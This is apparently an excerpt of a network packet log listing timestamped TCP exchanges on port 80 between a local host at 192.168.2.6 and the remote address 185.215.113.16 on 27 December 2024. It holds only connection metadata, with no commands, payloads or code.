Dec 27, 2024 08:52:21.264430046 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.265290022 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.265342951 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.265389919 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.265456915 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.266295910 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.266346931 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.266426086 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.266470909 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.267267942 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.267323017 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.267355919 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.267404079 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.268254042 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.268305063 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.268321991 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.268368006 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.269263983 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.269316912 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.269359112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.269406080 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.270246983 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.270298958 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.270333052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.270380020 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.271255016 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.271310091 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.271359921 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.271406889 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.272221088 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.272275925 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.272310019 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.272356033 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.273189068 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.273241997 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.413072109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.413101912 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.413182020 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.413460970 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.413516998 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.413693905 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.413739920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.413779974 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.413826942 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.414805889 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.414911032 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.414925098 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.414978027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.415730953 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.415786028 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.415791035 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.415824890 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.416647911 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.416691065 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.416743994 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.416785955 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.417642117 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.417752981 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.417810917 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.418642998 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.418688059 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.418713093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.418755054 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.419604063 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.419651031 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.419739008 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.419846058 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.420614958 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.420659065 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.420671940 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.420721054 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.421653986 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.421698093 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.421719074 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.421772003 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.422595024 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.422641039 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.422698975 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.422745943 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.423578024 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.423648119 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.423700094 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.423741102 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.424562931 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.424608946 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.424674034 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.424715996 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.425595999 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.425641060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.425666094 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.425710917 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.426589012 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.426652908 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.426675081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.426717997 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.427529097 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.427649975 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.427695036 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.428533077 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.428594112 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.428641081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.428688049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.429553032 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.429611921 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.429615974 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.429660082 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.430550098 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.430598021 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.430625916 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.430668116 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.431503057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.431555986 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.431601048 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.431643009 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.432598114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.432641983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.432692051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.432737112 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.433512926 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.433562040 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.433598042 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.433903933 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.434463024 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.434596062 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.434640884 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.435461998 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.435506105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.435566902 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.435611963 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.436451912 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.436496973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.436568975 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.436613083 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.437474966 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.437519073 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.437732935 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.437774897 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.438441992 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.438502073 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.438553095 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.438595057 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.439423084 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.439483881 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.439551115 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.439593077 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.440438032 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.440484047 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.440536976 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.440665007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.441401005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.441447973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.441509962 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.441555023 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.442423105 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.442468882 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.442531109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.442572117 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.443403959 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.443454981 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.443485022 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.443531036 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.444385052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.444453001 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.444518089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.444561005 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.445430040 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.445477962 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.445594072 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.445636988 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.446422100 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.446471930 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.446556091 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.446600914 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.447402954 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.447453022 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.447509050 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.447551012 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.448365927 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.448412895 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.448466063 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.448508024 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.449357033 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.449402094 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.449455023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.449497938 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.450340033 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.450387001 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.450521946 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.450565100 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.451351881 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.451402903 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.451431990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.451478958 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.452357054 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.452406883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.452482939 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.452527046 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.453290939 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.453336000 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.453401089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.453443050 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.454368114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.454417944 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.454469919 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.454529047 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.455284119 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.455331087 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.455408096 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.455451012 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.456300020 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.456348896 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.456382036 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.456423998 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.457281113 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.457331896 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.457405090 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.457448959 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.458281040 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.458327055 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.458369017 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.458416939 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.459290028 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.459383011 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.459434032 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.460253000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.460306883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.460333109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.460376024 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.461220980 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.461272001 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.461330891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.461374044 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.462229967 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.462279081 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.462356091 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.462400913 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.463202000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.463260889 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.463306904 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.463351011 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.464245081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.464293003 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.464297056 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.464342117 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.604980946 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.605154991 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.605223894 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.605468035 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.605515003 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.605577946 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.605621099 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.606240034 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.606288910 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.606343985 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.606386900 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.607238054 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.607286930 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.607342005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.607391119 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.608210087 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.608258009 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.608341932 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.608387947 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.609193087 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.609237909 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.609332085 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.609375954 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.610208988 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.610254049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.610275984 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.610320091 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.611169100 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.611237049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.611270905 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.611316919 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.612159967 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.612210989 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.612255096 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.612299919 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.613164902 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.613214970 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.613260984 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.613306046 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.614168882 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.614217043 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.614264011 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.614306927 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.615154028 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.615199089 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.615286112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.615329027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.616134882 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.616179943 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.616297007 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.616343975 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.617146015 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.617192030 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.617250919 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.617295980 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.618125916 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.618213892 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.618241072 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.618309975 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.619168043 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.619211912 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.619255066 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.619298935 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.620192051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.620203972 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.620240927 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.621118069 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.621165037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.621195078 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.621258020 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.622103930 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.622150898 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.622219086 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.622262001 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.623097897 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.623145103 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.623164892 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.623205900 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.624109983 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.624154091 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.624208927 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.624253035 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.625066042 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.625111103 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.625180006 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.625226021 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.626194000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.626238108 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.626239061 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.626281977 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.627032042 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.627078056 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.627170086 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.627212048 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.628052950 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.628097057 CET	49970	80	192.168.2.6	185.215.113.16
